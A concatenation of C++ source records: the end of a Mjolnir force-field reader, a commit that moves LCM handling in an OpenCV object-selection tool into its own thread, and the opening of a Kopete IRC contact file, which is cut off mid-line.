read_harmonic_potential<traitsT, 3>(local));\n }\n else if(potential == \"FlexibleLocalAngle\")\n {\n using potential_t = FlexibleLocalAnglePotential<traitsT>;\n\n return make_unique<BondAngleInteraction<traitsT, potential_t>>(\n kind, read_flexible_local_angle_potential<traitsT, 3>(local));\n }\n else\n {\n throw_exception<std::runtime_error>(\n \"invalid potential as BondAngleInteraction: \" + potential);\n }\n}\n\ntemplate<typename traitsT>\nstd::unique_ptr<LocalInteractionBase<traitsT>>\nread_dihedral_angle_interaction(\n const typename LocalInteractionBase<traitsT>::connection_kind_type kind,\n const toml::Table& local)\n{\n const auto potential = toml::get<std::string>(\n toml_value_at(local, \"potential\", \"[forcefield.local]\"));\n if(potential == \"Harmonic\")\n {\n using potential_t = HarmonicPotential<traitsT>;\n\n return make_unique<DihedralAngleInteraction<traitsT, potential_t>>(\n kind, read_harmonic_potential<traitsT, 4>(local));\n }\n else if(potential == \"ClementiDihedral\")\n {\n using potential_t = ClementiDihedralPotential<traitsT>;\n\n return make_unique<DihedralAngleInteraction<traitsT, potential_t>>(\n kind, read_clementi_dihedral_potential<traitsT, 4>(local));\n }\n else if(potential == \"AICG2PlusDihedral\")\n {\n using potential_t = GaussianPotential<traitsT>;\n\n return make_unique<DihedralAngleInteraction<traitsT, potential_t>>(\n kind, read_gaussian_potential<traitsT, 4>(local));\n }\n else if(potential == \"FlexibleLocalDihedral\")\n {\n using potential_t = FlexibleLocalDihedralPotential<traitsT>;\n\n return make_unique<DihedralAngleInteraction<traitsT, potential_t>>(\n kind, read_flexible_local_dihedral_potential<traitsT, 4>(local));\n }\n else\n {\n throw_exception<std::runtime_error>(\n \"invalid potential as DihedralAngleInteraction: \" + potential);\n }\n}\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ global interaction\n\/\/ ----------------------------------------------------------------------------\n\ntemplate<typename traitsT, typename ignoreT>\nstd::unique_ptr<GlobalInteractionBase<traitsT>>\nread_global_distance_interaction(const toml::Table& global)\n{\n const auto potential = toml::get<std::string>(\n toml_value_at(global, \"potential\", \"[forcefield.global]\"));\n if(potential == \"ExcludedVolume\")\n {\n using potential_t = ExcludedVolumePotential<traitsT, ignoreT>;\n\n return read_spatial_partition_for_distance<traitsT, potential_t>(\n global, read_excluded_volume_potential<traitsT, ignoreT>(global));\n }\n else if(potential == \"DebyeHuckel\")\n {\n using potential_t = DebyeHuckelPotential<traitsT, ignoreT>;\n\n return read_spatial_partition_for_distance<traitsT, potential_t>(\n global, read_debye_huckel_potential<traitsT, ignoreT>(global));\n }\n else if(potential == \"LennardJones\")\n {\n using potential_t = LennardJonesPotential<traitsT, ignoreT>;\n\n return read_spatial_partition_for_distance<traitsT, potential_t>(\n global, read_lennard_jones_potential<traitsT, ignoreT>(global));\n }\n else\n {\n throw_exception<std::runtime_error>(\n \"invalid potential as GlobalDistanceInteraction: \", potential);\n }\n}\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ external interaction\n\/\/ ----------------------------------------------------------------------------\n\ntemplate<typename traitsT, typename shapeT>\nstd::unique_ptr<ExternalForceInteractionBase<traitsT>>\nread_external_distance_interaction(const toml::Table& external, shapeT&& shape)\n{\n using real_type = typename traitsT::real_type;\n const auto potential = toml::get<std::string>(toml_value_at(external,\n \"potential\", \"[forcefield.external]\"));\n\n if(potential == \"ImplicitMembrane\")\n {\n using potential_t = ImplicitMembranePotential<traitsT>;\n using interaction_t = ExternalDistanceInteraction<\n traitsT, potential_t, shapeT>;\n\n return make_unique<interaction_t>(std::move(shape),\n read_implicit_membrane_potential<traitsT>(external));\n }\n else\n {\n throw_exception<std::runtime_error>(\n \"invalid potential as ExternalDistanceInteraction: \", potential);\n }\n}\n\ntemplate<typename traitsT>\nstd::unique_ptr<ExternalForceInteractionBase<traitsT>>\nread_external_distance_interaction_shape(const toml::Table& external)\n{\n using real_type = typename traitsT::real_type;\n\n const auto shape = toml::get<toml::Table>(toml_value_at(external, \"shape\",\n \"[forcefield.external] for ExternalDistance\"));\n const auto name = toml::get<std::string>(toml_value_at(shape, \"name\",\n \"[forcefield.external.shape] for ExternalDistance\"));\n\n if(name == \"AxisAlignedPlane\")\n {\n const auto pos = toml::get<real_type>(toml_value_at(shape, \"position\",\n \"[forcefield.external.shape] for ExternalDistance\"));\n const auto mergin = toml::get<real_type>(toml_value_at(shape, \"mergin\",\n \"[forcefield.external.shape] for ExternalDistance\"));\n\n const auto axis = toml::get<std::string>(toml_value_at(shape, \"axis\",\n \"[forcefield.external.shape] for ExternalDistance\"));\n if(axis == \"X\")\n {\n using shape_t = AxisAlignedPlane<traitsT, 0>;\n return read_external_distance_interaction<traitsT, shape_t>(\n external, shape_t(pos, mergin));\n }\n else if(axis == \"Y\")\n {\n using shape_t = AxisAlignedPlane<traitsT, 1>;\n return read_external_distance_interaction<traitsT, shape_t>(\n external, shape_t(pos, mergin));\n }\n else if(axis == \"Z\")\n {\n using shape_t = AxisAlignedPlane<traitsT, 2>;\n return read_external_distance_interaction<traitsT, shape_t>(\n external, shape_t(pos, mergin));\n }\n else\n {\n throw std::runtime_error(\"invalid axis name: \" + axis);\n }\n }\n else\n {\n throw std::runtime_error(\"invalid external forcefield shape: \" + name);\n }\n}\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ general read_(local|global|external)_interaction function\n\/\/ ----------------------------------------------------------------------------\n\ntemplate<typename traitsT>\nstd::unique_ptr<LocalInteractionBase<traitsT>>\nread_local_interaction(const toml::Table& local)\n{\n const auto interaction = toml::get<std::string>(\n toml_value_at(local, \"interaction\", \"[forcefields.local]\"));\n\n \/\/ topology stuff\n using connection_kind_type =\n typename LocalInteractionBase<traitsT>::connection_kind_type;\n const auto connection = toml::get<std::string>(\n toml_value_at(local, \"topology\", \"[forcefield.local]\"));\n\n connection_kind_type kind;\n if (connection == \"bond\") {kind = connection_kind_type::bond;}\n else if(connection == \"contact\") {kind = connection_kind_type::contact;}\n else if(connection == \"none\") {kind = connection_kind_type::none;}\n else {throw std::runtime_error(\"invalid connection type: \" + connection);}\n\n if(interaction == \"BondLength\")\n {\n return read_bond_length_interaction<traitsT>(kind, local);\n }\n else if(interaction == \"BondAngle\")\n {\n return read_bond_angle_interaction<traitsT>(kind, local);\n }\n else if(interaction == \"DihedralAngle\")\n {\n return read_dihedral_angle_interaction<traitsT>(kind, local);\n }\n else\n {\n throw std::runtime_error(\n \"invalid local interaction type: \" + interaction);\n }\n}\n\ntemplate<typename traitsT>\nstd::unique_ptr<GlobalInteractionBase<traitsT>>\nread_global_interaction(const toml::Table& global)\n{\n const auto interaction = toml::get<std::string>(\n toml_value_at(global, \"interaction\", \"[forcefields.global]\"));\n const auto ignored_chain = toml::get<std::string>(\n toml_value_at(global, \"ignored_chain\", \"[forcefields.global]\"));\n\n if(interaction == \"Distance\")\n {\n if(ignored_chain == \"Nothing\")\n {\n return read_global_distance_interaction<traitsT, IgnoreNothing>(global);\n }\n else if(ignored_chain == \"Self\")\n {\n return read_global_distance_interaction<traitsT, IgnoreSelf>(global);\n }\n else if(ignored_chain == \"Others\")\n {\n return read_global_distance_interaction<traitsT, IgnoreOthers>(global);\n }\n else\n {\n throw std::runtime_error(\"invalid `ignored_chain`: \" + ignored_chain);\n }\n }\n else\n {\n throw std::runtime_error(\n \"invalid global interaction type: \" + interaction);\n }\n}\n\ntemplate<typename traitsT>\nstd::unique_ptr<ExternalForceInteractionBase<traitsT>>\nread_external_interaction(const toml::Table& external)\n{\n const auto interaction = toml::get<std::string>(\n toml_value_at(external, \"interaction\", \"[forcefields.external]\"));\n\n if(interaction == \"Distance\")\n {\n return read_external_distance_interaction_shape<traitsT>(external);\n }\n else\n {\n throw std::runtime_error(\n \"invalid global interaction type: \" + interaction);\n }\n}\n\n} \/\/ mjolnir\n#endif\/\/ MJOLNIR_READ_INTERACTION\n<|endoftext|>"} {"text":"<commit_before>\/*\nTLD's work well w\/ features (keypts) low-level features\n\n- DoT works well with textureless objects (contoures)\n- Use both to bootstrap a contour and features based reconstruction \n- Does going to 3D from contour make tracking possible ??\n\n*\/\n#define WINDOW_NAME \"TLD Segmenter\"\n\n#include <set>\n#include <bot_core\/bot_core.h>\n#include <bot_frames\/bot_frames.h>\n#include <bot_param\/param_client.h>\n\n#include <opencv2\/opencv.hpp>\n\n#include <image_io_utils\/image_io_utils.hpp> \/\/ to simplify jpeg\/zlib compression and decompression\n#include <lcmtypes\/perception_image_roi_t.h>\n#include <ConciseArgs>\n\nconst int WINDOW_WIDTH = 800; \nconst int WINDOW_HEIGHT = 800; \n\nint MAX_IMAGE_WIDTH = 0;\nint MAX_IMAGE_HEIGHT = 0;\n\nint32_t OBJECT_ID = 1; \nint32_t FEATURE_ID = 1; \/\/ 1 for object (reference), -1 for virtual heading object\nusing namespace cv;\n\nstruct state_t {\n lcm_t *lcm;\n GMainLoop *mainloop;\n BotParam *param;\n BotFrames *frames;\n int counter;\n\n \/\/ Img\n cv::Mat img; \n\n \/\/ utimes for image\n int64_t img_utime;\n\n \/\/ UI selection of desired object\n Rect selection, selection_virtual;\n Point origin, origin_virtual;\n bool selectObject, selectObject_virtual;\n\n state_t () {\n \/\/ LCM, BotFrames, BotParam inits\n lcm = bot_lcm_get_global(NULL);\n param = bot_param_new_from_server(lcm, 1);\n frames = bot_frames_get_global (lcm, param);\n\n \/\/ Counter for debug prints\n counter = 0; \n\n selectObject = false;\n selectObject_virtual = false;\n }\n ~state_t () { \n lcm_destroy(lcm);\n }\n\n};\nstate_t * state = NULL;\n\nstruct MouseEvent {\n MouseEvent() { event = -1; buttonState = 0; }\n Point pt;\n int event;\n int buttonState;\n};\nMouseEvent mouse;\n\nstatic void onMouse(int event, int x, int y, int flags, void* userdata) {\n MouseEvent* data = (MouseEvent*)userdata;\n\n float sx = 1.f \/ WINDOW_WIDTH ; \n float sy = 1.f \/ WINDOW_HEIGHT;\n\n if (state->selectObject) {\n state->selection.x = MIN(x, state->origin.x);\n state->selection.y = MIN(y, state->origin.y);\n state->selection.width = std::abs(x - state->origin.x);\n state->selection.height = std::abs(y - state->origin.y);\n state->selection &= Rect(0, 0, WINDOW_WIDTH, WINDOW_HEIGHT);\n }\n\n if (state->selectObject_virtual) {\n state->selection_virtual.x = MIN(x, state->origin_virtual.x);\n state->selection_virtual.y = MIN(y, state->origin_virtual.y);\n state->selection_virtual.width = std::abs(x - state->origin_virtual.x);\n state->selection_virtual.height = std::abs(y - state->origin_virtual.y);\n state->selection &= Rect(0, 0, WINDOW_WIDTH, WINDOW_HEIGHT);\n }\n\n switch (event) {\n case CV_EVENT_RBUTTONDOWN:\n state->origin_virtual = Point(x, y);\n state->selection_virtual = Rect(x, y, 0, 0);\n state->selectObject_virtual = true;\n break;\n case CV_EVENT_RBUTTONUP:\n state->selectObject_virtual = false;\n std::cerr << \"SEND virtual selection: \" << state->img_utime << \" - \" << \n state->selection_virtual.x << \" \" << state->selection_virtual.y << \" \" << \n state->selection_virtual.width << \" \" << state->selection_virtual.height << std::endl;\n\n perception_image_roi_t img_vselection;\n img_vselection.utime = state->img_utime;\n img_vselection.object_id = OBJECT_ID; \n img_vselection.feature_id = -1; \/\/ FEATURE_ID; \n img_vselection.roi.x = state->selection_virtual.x * sx;\n img_vselection.roi.y = state->selection_virtual.y * sy;\n img_vselection.roi.width = state->selection_virtual.width * sx;\n img_vselection.roi.height = state->selection_virtual.height * sy;\n perception_image_roi_t_publish(state->lcm, \"TLD_OBJECT_ROI\", &img_vselection);\n\n \/\/ destroyWindow(WINDOW_NAME);\n \/\/ state->img = cv::Mat();\n\n break;\n case CV_EVENT_LBUTTONDOWN:\n state->origin = Point(x, y);\n state->selection = Rect(x, y, 0, 0);\n state->selectObject = true;\n\n \/\/ reset virtual feature\n state->selection_virtual = Rect(0,0,0,0);\n\n break;\n case CV_EVENT_LBUTTONUP:\n state->selectObject = false;\n std::cerr << \"SEND selection: \" << state->img_utime << \" - \" << \n state->selection.x << \" \" << state->selection.y << \" \" << \n state->selection.width << \" \" << state->selection.height << std::endl;\n\n perception_image_roi_t img_selection;\n img_selection.utime = state->img_utime;\n img_selection.object_id = OBJECT_ID; \n img_selection.feature_id = 1; \/\/ FEATURE_ID; \n img_selection.roi.x = state->selection.x * sx;\n img_selection.roi.y = state->selection.y * sy;\n img_selection.roi.width = state->selection.width * sx;\n img_selection.roi.height = state->selection.height * sy;\n perception_image_roi_t_publish(state->lcm, \"TLD_OBJECT_ROI\", &img_selection);\n \/\/ destroyWindow(WINDOW_NAME);\n \/\/ state->img = cv::Mat();\n\n break;\n }\n return;\n}\n\nvoid INThandler(int sig)\n{\n printf(\"Exiting\\n\");\n if (state) delete state; \n exit(0);\n}\n\n\nvoid\ndecode_image(const bot_core_image_t * msg, cv::Mat& img)\n{\n int ch = msg->row_stride \/ (msg->width); \n if (img.empty() || img.rows != msg->height || img.cols != msg->width)\n if (ch == 3) \n img.create(msg->height, msg->width, CV_8UC3);\n else \n img.create(msg->height, msg->width, CV_8UC1);\n std::cerr << \"msg: \" << ch << \" \" << msg->row_stride << \" \" << msg->width << \"x\" << msg->height << std::endl;\n \n \/\/ extract image data\n switch (msg->pixelformat) {\n case BOT_CORE_IMAGE_T_PIXEL_FORMAT_RGB:\n memcpy(img.data, msg->data, sizeof(uint8_t) * msg->width * msg->height * 3);\n cv::cvtColor(img, img, CV_RGB2BGR);\n break;\n case BOT_CORE_IMAGE_T_PIXEL_FORMAT_MJPEG:\n \/\/ for some reason msg->row_stride is 0, so we use msg->width instead.\n if (ch == 3) { \n jpeg_decompress_8u_rgb(msg->data,\n msg->size,\n img.data,\n msg->width,\n msg->height,\n msg->width * ch);\n cv::cvtColor(img, img, CV_RGB2BGR);\n } else { \n jpeg_decompress_8u_gray(msg->data,\n msg->size,\n img.data,\n msg->width,\n msg->height,\n msg->width);\n }\n break;\n case BOT_CORE_IMAGE_T_PIXEL_FORMAT_GRAY:\n memcpy(img.data, msg->data, sizeof(uint8_t) * msg->width * msg->height);\n break;\n default:\n fprintf(stderr, \"Unrecognized image format\\n\");\n break;\n }\n return;\n}\n\nstatic void on_image_frame (const lcm_recv_buf_t *rbuf, const char *channel,\n const bot_core_image_t *msg, \n void *user_data ) {\n\n if (!msg->width || !msg->height) return;\n \n if (!MAX_IMAGE_WIDTH || !MAX_IMAGE_HEIGHT) { \n MAX_IMAGE_WIDTH = msg->width;\n MAX_IMAGE_HEIGHT = msg->height;\n }\n\n\n state_t* state = (state_t*) user_data; \n if (state->img.empty() || state->img.rows != msg->height || state->img.cols != msg->width) { \n if (msg->pixelformat == BOT_CORE_IMAGE_T_PIXEL_FORMAT_GRAY) { \n std::cerr << \"ERROR: Incoming image is grayscale!! Cannot perform color tracking!!!\" << std::endl;\n assert(0);\n } else { \n std::cerr << \"One time creation of image\" << std::endl;\n state->img.create(msg->height, msg->width, CV_8UC3);\n }\n }\n decode_image(msg, state->img); \n state->img_utime = msg->utime; \n return;\n}\n\nstruct TLDSegmenterOptions { \n bool vDEBUG;\n std::string vCHANNEL;\n\n TLDSegmenterOptions () : \n vCHANNEL(std::string(\"CAMERALEFT\")), vDEBUG(false) {}\n};\nTLDSegmenterOptions options;\n\nint main(int argc, char** argv)\n{\n std::cout << \"============= QUICK MODES ===================\\n\";\n std::cout << \"drc-tld-segmenter -c CAMERALEFT\\n\";\n std::cout << \"=============================================\\n\";\n\n ConciseArgs opt(argc, (char**)argv);\n opt.add(options.vCHANNEL, \"c\", \"camera-channel\",\"Camera Channel [CAMERALEFT]\");\n opt.add(options.vDEBUG, \"d\", \"debug\",\"Debug mode\");\n opt.parse();\n\n std::cerr << \"=========== TLD Tracker ============\" << std::endl;\n std::cerr << \"=> CAMERA CHANNEL : \" << options.vCHANNEL << std::endl;\n std::cerr << \"=> DEBUG : \" << options.vDEBUG << std::endl;\n std::cerr << \"===============================================\" << std::endl;\n\n \/\/ Install signal handler to free data.\n signal(SIGINT, INThandler);\n\n \/\/ Param server, botframes\n state = new state_t();\n\n cv::namedWindow( WINDOW_NAME );\n cv::setMouseCallback( WINDOW_NAME, onMouse, &mouse);\n\n \/\/ Subscriptions\n bot_core_image_t_subscribe(state->lcm, options.vCHANNEL.c_str(), on_image_frame, (void*)state);\n \n \/\/ Install signal handler to free data.\n signal(SIGINT, INThandler);\n\n while(1) { \n unsigned char c = cv::waitKey(1) & 0xff;\n\tlcm_handle(state->lcm);\n if (c == 'q') { \n break;\n \/\/ } else if (c == 'd') { \n \/\/ FEATURE_ID++;\n \/\/ } else if (c == 'a') { \n \/\/ FEATURE_ID--;\n } else if (c == 'w') { \n OBJECT_ID++;\n } else if (c == 's') { \n OBJECT_ID--;\n }\n\n \/\/ UI handling \n if (!state->img.empty()) { \n cv::Mat display;\n cv::resize(state->img.clone(), display, cv::Size(WINDOW_WIDTH,WINDOW_HEIGHT)); \n if (state->selection.width > 0 && state->selection.height > 0) {\n \n cv::Mat roi(display, state->selection);\n rectangle(display, state->selection, cv::Scalar(0,255,255), 2);\n \/\/ bitwise_not(roi, roi);\n }\n if (state->selection_virtual.width > 0 && state->selection_virtual.height > 0) {\n \n cv::Mat roi(display, state->selection_virtual);\n rectangle(display, state->selection_virtual, cv::Scalar(0,255,0), 2);\n \/\/ bitwise_not(roi, roi);\n }\n\n\n \/\/ Show OBJECT_ID, FEATURE_ID\n cv::putText(display, cv::format(\"OBJ: %ld\", OBJECT_ID),\n Point(20,20), 0, .5, cv::Scalar(0,200,0), 2);\n\n imshow(WINDOW_NAME, display);\n }\n }\n\n if (state) delete state; \n return 0;\n}\n<commit_msg>tld-segmenter: moved lcm handle to separate thread<commit_after>\/*\nTLD's work well w\/ features (keypts) low-level features\n\n- DoT works well with textureless objects (contoures)\n- Use both to bootstrap a contour and features based reconstruction \n- Does going to 3D from contour make tracking possible ??\n\n*\/\n#define WINDOW_NAME \"TLD Segmenter\"\n\n#include <set>\n#include <bot_core\/bot_core.h>\n#include <bot_frames\/bot_frames.h>\n#include <bot_param\/param_client.h>\n\n#include <opencv2\/opencv.hpp>\n\n#include <image_io_utils\/image_io_utils.hpp> \/\/ to simplify jpeg\/zlib compression and decompression\n#include <lcmtypes\/perception_image_roi_t.h>\n#include <ConciseArgs>\n\nconst int WINDOW_WIDTH = 800; \nconst int WINDOW_HEIGHT = 800; \n\nint MAX_IMAGE_WIDTH = 0;\nint MAX_IMAGE_HEIGHT = 0;\n\nint32_t OBJECT_ID = 1; \nint32_t FEATURE_ID = 1; \/\/ 1 for object (reference), -1 for virtual heading object\nusing namespace cv;\n\nstruct state_t {\n lcm_t *lcm;\n pthread_t lcm_thread;\n pthread_mutex_t img_mutex;\n\n GMainLoop *mainloop;\n BotParam *param;\n BotFrames *frames;\n int counter;\n\n \/\/ Img\n cv::Mat img; \n\n \/\/ utimes for image\n int64_t img_utime;\n\n \/\/ UI selection of desired object\n Rect selection, selection_virtual;\n Point origin, origin_virtual;\n bool selectObject, selectObject_virtual;\n\n state_t () {\n \/\/ LCM, BotFrames, BotParam inits\n lcm = bot_lcm_get_global(NULL);\n param = bot_param_new_from_server(lcm, 1);\n frames = bot_frames_get_global (lcm, param);\n\n img_mutex = PTHREAD_MUTEX_INITIALIZER;\n \/\/ Counter for debug prints\n counter = 0; \n\n selectObject = false;\n selectObject_virtual = false;\n }\n ~state_t () { \n }\n\n};\nstate_t * state = NULL;\n\nvoid* lcm_thread_handler(void *l) {\n state_t* state = (state_t*)l;\n while(1)\n lcm_handle(state->lcm);\n\n}\nstruct MouseEvent {\n MouseEvent() { event = -1; buttonState = 0; }\n Point pt;\n int event;\n int buttonState;\n};\nMouseEvent mouse;\n\nstatic void onMouse(int event, int x, int y, int flags, void* userdata) {\n MouseEvent* data = (MouseEvent*)userdata;\n\n float sx = 1.f \/ WINDOW_WIDTH ; \n float sy = 1.f \/ WINDOW_HEIGHT;\n\n if (state->selectObject) {\n state->selection.x = MIN(x, state->origin.x);\n state->selection.y = MIN(y, state->origin.y);\n state->selection.width = std::abs(x - state->origin.x);\n state->selection.height = std::abs(y - state->origin.y);\n state->selection &= Rect(0, 0, WINDOW_WIDTH, WINDOW_HEIGHT);\n }\n\n if (state->selectObject_virtual) {\n state->selection_virtual.x = MIN(x, state->origin_virtual.x);\n state->selection_virtual.y = MIN(y, state->origin_virtual.y);\n state->selection_virtual.width = std::abs(x - state->origin_virtual.x);\n state->selection_virtual.height = std::abs(y - state->origin_virtual.y);\n state->selection &= Rect(0, 0, WINDOW_WIDTH, WINDOW_HEIGHT);\n }\n\n switch (event) {\n case CV_EVENT_RBUTTONDOWN:\n state->origin_virtual = Point(x, y);\n state->selection_virtual = Rect(x, y, 0, 0);\n state->selectObject_virtual = true;\n break;\n case CV_EVENT_RBUTTONUP:\n state->selectObject_virtual = false;\n std::cerr << \"SEND virtual selection: \" << state->img_utime << \" - \" << \n state->selection_virtual.x << \" \" << state->selection_virtual.y << \" \" << \n state->selection_virtual.width << \" \" << state->selection_virtual.height << std::endl;\n\n perception_image_roi_t img_vselection;\n img_vselection.utime = state->img_utime;\n img_vselection.object_id = OBJECT_ID; \n img_vselection.feature_id = -1; \/\/ FEATURE_ID; \n img_vselection.roi.x = state->selection_virtual.x * sx;\n img_vselection.roi.y = state->selection_virtual.y * sy;\n img_vselection.roi.width = state->selection_virtual.width * sx;\n img_vselection.roi.height = state->selection_virtual.height * sy;\n perception_image_roi_t_publish(state->lcm, \"TLD_OBJECT_ROI\", &img_vselection);\n\n \/\/ destroyWindow(WINDOW_NAME);\n \/\/ state->img = cv::Mat();\n\n break;\n case CV_EVENT_LBUTTONDOWN:\n state->origin = Point(x, y);\n state->selection = Rect(x, y, 0, 0);\n state->selectObject = true;\n\n \/\/ reset virtual feature\n state->selection_virtual = Rect(0,0,0,0);\n\n break;\n case CV_EVENT_LBUTTONUP:\n state->selectObject = false;\n std::cerr << \"SEND selection: \" << state->img_utime << \" - \" << \n state->selection.x << \" \" << state->selection.y << \" \" << \n state->selection.width << \" \" << state->selection.height << std::endl;\n\n perception_image_roi_t img_selection;\n img_selection.utime = state->img_utime;\n img_selection.object_id = OBJECT_ID; \n img_selection.feature_id = 1; \/\/ FEATURE_ID; \n img_selection.roi.x = state->selection.x * sx;\n img_selection.roi.y = state->selection.y * sy;\n img_selection.roi.width = state->selection.width * sx;\n img_selection.roi.height = state->selection.height * sy;\n perception_image_roi_t_publish(state->lcm, \"TLD_OBJECT_ROI\", &img_selection);\n \/\/ destroyWindow(WINDOW_NAME);\n \/\/ state->img = cv::Mat();\n\n break;\n }\n return;\n}\n\nvoid INThandler(int sig)\n{\n printf(\"Exiting\\n\");\n if (state) delete state; \n exit(0);\n}\n\n\nvoid\ndecode_image(const bot_core_image_t * msg, cv::Mat& img)\n{\n int ch = msg->row_stride \/ (msg->width); \n if (img.empty() || img.rows != msg->height || img.cols != msg->width)\n if (ch == 3) \n img.create(msg->height, msg->width, CV_8UC3);\n else \n img.create(msg->height, msg->width, CV_8UC1);\n std::cerr << \"msg: \" << ch << \" \" << msg->row_stride << \" \" << msg->width << \"x\" << msg->height << std::endl;\n \n \/\/ extract image data\n switch (msg->pixelformat) {\n case BOT_CORE_IMAGE_T_PIXEL_FORMAT_RGB:\n memcpy(img.data, msg->data, sizeof(uint8_t) * msg->width * msg->height * 3);\n cv::cvtColor(img, img, CV_RGB2BGR);\n break;\n case BOT_CORE_IMAGE_T_PIXEL_FORMAT_MJPEG:\n \/\/ for some reason msg->row_stride is 0, so we use msg->width instead.\n if (ch == 3) { \n jpeg_decompress_8u_rgb(msg->data,\n msg->size,\n img.data,\n msg->width,\n msg->height,\n msg->width * ch);\n cv::cvtColor(img, img, CV_RGB2BGR);\n } else { \n jpeg_decompress_8u_gray(msg->data,\n msg->size,\n img.data,\n msg->width,\n msg->height,\n msg->width);\n }\n break;\n case BOT_CORE_IMAGE_T_PIXEL_FORMAT_GRAY:\n memcpy(img.data, msg->data, sizeof(uint8_t) * msg->width * msg->height);\n break;\n default:\n fprintf(stderr, \"Unrecognized image format\\n\");\n break;\n }\n return;\n}\n\nstatic void on_image_frame (const lcm_recv_buf_t *rbuf, const char *channel,\n const bot_core_image_t *msg, \n void *user_data ) {\n\n if (!msg->width || !msg->height) return;\n \n if (!MAX_IMAGE_WIDTH || !MAX_IMAGE_HEIGHT) { \n MAX_IMAGE_WIDTH = msg->width;\n MAX_IMAGE_HEIGHT = msg->height;\n }\n\n pthread_mutex_lock(&state->img_mutex);\n state_t* state = (state_t*) user_data; \n if (state->img.empty() || state->img.rows != msg->height || state->img.cols != msg->width) { \n if (msg->pixelformat == BOT_CORE_IMAGE_T_PIXEL_FORMAT_GRAY) { \n std::cerr << \"ERROR: Incoming image is grayscale!! Cannot perform color tracking!!!\" << std::endl;\n assert(0);\n } else { \n std::cerr << \"One time creation of image\" << std::endl;\n state->img.create(msg->height, msg->width, CV_8UC3);\n }\n }\n decode_image(msg, state->img); \n state->img_utime = msg->utime; \n pthread_mutex_unlock(&state->img_mutex);\n return;\n}\n\nstruct TLDSegmenterOptions { \n bool vDEBUG;\n std::string vCHANNEL;\n\n TLDSegmenterOptions () : \n vCHANNEL(std::string(\"CAMERALEFT\")), vDEBUG(false) {}\n};\nTLDSegmenterOptions options;\n\nint main(int argc, char** argv)\n{\n std::cout << \"============= QUICK MODES ===================\\n\";\n std::cout << \"drc-tld-segmenter -c CAMERALEFT\\n\";\n std::cout << \"=============================================\\n\";\n\n ConciseArgs opt(argc, (char**)argv);\n opt.add(options.vCHANNEL, \"c\", \"camera-channel\",\"Camera Channel [CAMERALEFT]\");\n opt.add(options.vDEBUG, \"d\", \"debug\",\"Debug mode\");\n opt.parse();\n\n std::cerr << \"=========== TLD Tracker ============\" << std::endl;\n std::cerr << \"=> CAMERA CHANNEL : \" << options.vCHANNEL << std::endl;\n std::cerr << \"=> DEBUG : \" << options.vDEBUG << std::endl;\n std::cerr << \"===============================================\" << std::endl;\n\n \/\/ Install signal handler to free data.\n signal(SIGINT, INThandler);\n\n \/\/ Param server, botframes\n state = new state_t();\n\n printf(\"starting lcm thread\\n\");\n pthread_create(&(state->lcm_thread), NULL, lcm_thread_handler, state);\n\n cv::namedWindow( WINDOW_NAME );\n cv::setMouseCallback( WINDOW_NAME, onMouse, &mouse);\n\n \/\/ Subscriptions\n bot_core_image_t_subscribe(state->lcm, options.vCHANNEL.c_str(), on_image_frame, (void*)state);\n \n \/\/ Install signal handler to free data.\n signal(SIGINT, INThandler);\n\n while(1) { \n unsigned char c = cv::waitKey(1) & 0xff;\n\t\/\/ lcm_handle(state->lcm);\n if (c == 'q') { \n break;\n \/\/ } else if (c == 'd') { \n \/\/ FEATURE_ID++;\n \/\/ } else if (c == 'a') { \n \/\/ FEATURE_ID--;\n } else if (c == 'w') { \n OBJECT_ID++;\n } else if (c == 's') { \n OBJECT_ID--;\n }\n\n pthread_mutex_lock(&state->img_mutex);\n \/\/ UI handling \n if (!state->img.empty()) { \n cv::Mat display;\n cv::resize(state->img.clone(), display, cv::Size(WINDOW_WIDTH,WINDOW_HEIGHT)); \n if (state->selection.width > 0 && state->selection.height > 0) {\n \n cv::Mat roi(display, state->selection);\n rectangle(display, state->selection, cv::Scalar(0,255,255), 2);\n \/\/ bitwise_not(roi, roi);\n }\n if (state->selection_virtual.width > 0 && state->selection_virtual.height > 0) {\n \n cv::Mat roi(display, state->selection_virtual);\n rectangle(display, state->selection_virtual, cv::Scalar(0,255,0), 2);\n \/\/ bitwise_not(roi, roi);\n }\n\n\n \/\/ Show OBJECT_ID, FEATURE_ID\n cv::putText(display, cv::format(\"OBJ: %ld\", OBJECT_ID),\n Point(20,20), 0, .5, cv::Scalar(0,200,0), 2);\n\n imshow(WINDOW_NAME, display);\n }\n pthread_mutex_unlock(&state->img_mutex);\n }\n\n \/\/ if (state) delete state; \n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************************\n irccontact.cpp - description\n -------------------\n begin : Wed Mar 6 2002\n copyright : (C) 2002 by nbetcher\n email : nbetcher@usinternet.com\n ***************************************************************************\/\n\n\/***************************************************************************\n * *\n * This program is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n ***************************************************************************\/\n\n#include \"irccontact.h\"\n#include <kmessagebox.h>\n#include <qlayout.h>\n#include <kdialog.h>\n#include <kdebug.h>\n#include <kconfig.h>\n#include <ktabctl.h>\n#include <kstddirs.h>\n#include <ircchatwindow.h>\n\nIRCContact::IRCContact(QListViewItem *parent, const QString &server, const QString &target, unsigned int port, bool joinOnConnect, IRCServerContact *contact)\n\t: IMContact(parent)\n{\n\tengine = contact->engine;\n\trequestedQuit = false;\n\tKGlobal::config()->setGroup(\"IRC\");\n\tQString newServer;\n\tif (server.isEmpty() == true)\n\t{\n\t\tnewServer = KGlobal::config()->readEntry(\"Server\", \"irc.openprojects.net\");\n\t\tmServer = newServer;\n\t} else {\n\t\tmServer = server;\n\t}\n\tif (port == 0)\n\t{\n\t\tunsigned int port = KGlobal::config()->readEntry(\"Port\", \"6667\").toUInt();\n\t}\n\tQString user = \"kopeteuser\";\n\tQString nick = KGlobal::config()->readEntry(\"Nickname\", \"KopeteUser\");\n\n\tmContact = contact;\n\tmTarget = target;\n\tmPort = port;\n\tmUsername = user;\n\tmNickname = nick;\n\tmJoinOnConnect = joinOnConnect;\n\n\tif (target[0] == '#' || target[0] == '!' || target[0] == '&')\n\t{\n\t\tsetPixmap(0, locate(\"data\", \"kopete\/pics\/irc_privmsg.xpm\"));\n\t\tQString oldTarget = mTarget;\n\t\tmTarget = mTarget.remove(0,1);\n\t\tsetText(0, mTarget);\n\t\tmTarget = oldTarget;\n\t} else {\n\t\tsetText(0, 